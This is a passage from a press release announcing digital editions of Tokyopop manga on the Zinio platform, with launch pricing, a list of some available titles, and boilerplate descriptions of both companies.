“More than a decade ago, Tokyopop introduced manga to America, building a category that has been embraced by millions of teens,” says Rich Maggiotto, President & CEO, Zinio. “We’re thrilled to have a partnership that will offer loyal and new manga readers these digital editions.”

Initially, most manga on the launch list will sell for a material discount, $5.99 per volume, while some larger volumes, such as the Gravitation collection–a two-volume omnibus edition–are priced at $7.99. For a complete list of titles, please visit www.Zinio.com/tokyopop.

About TOKYOPOP:
Founded by multi-cultural media visionary Stu Levy, Tokyopop is hailed as a leading youth-oriented entertainment brand and an innovator of manga creation, with a revolutionary artistic vision that transcends countless platforms. From the introduction of the first-ever extensive manga publishing program in North America, to the development of its manga-originated intellectual properties into film, television and digital entertainment, Tokyopop has changed the way teens experience pop culture. The company’s global reach has expanded to Europe and Asia, with offices in the UK and Germany, in addition to its Los Angeles and Tokyo operations. With millions of fans logging onto the new social networking site www.Tokyopop.com, reading its books, which are licensed in 50 countries in more than 30 languages, and watching its DVDs and television programs, Tokyopop’s award-winning catalogue of licensed and original properties has made the company a visionary in an ever-growing teen entertainment marketplace. Visit www.Tokyopop.com for additional information.

About Zinio:
Zinio is the world’s newsstand and bookstore. With its many digital products and services, Zinio creates better ways for people to discover published content, get more of it and do more with it. Now, readers can purchase content once to be read on any screen. Zinio provides the ability to shop for, search inside, read, share and save digital content in 23 local newsstands in any country in the world. Through the ZINIO UNITY™ reading platform, readers can move seamlessly within each publication page between text, interactive graphics, animated illustrations, videos and much more. Offering hundreds of thousands of the best digital titles, Zinio’s e-stores and applications are revolutionizing reading. Founded in 2001 and privately held, Zinio is headquartered in San Francisco and has offices in New York, London, Paris, Barcelona and Taipei.

# # #Note: Available at this moment there are twenty-one volumes of the titles Afterlife, Earthlight, Gyakushu!, Riding Shotgun, Tarot Cafe, The Dreaming, Van Von Hunter for $5.99 US ($6.27 CA) each.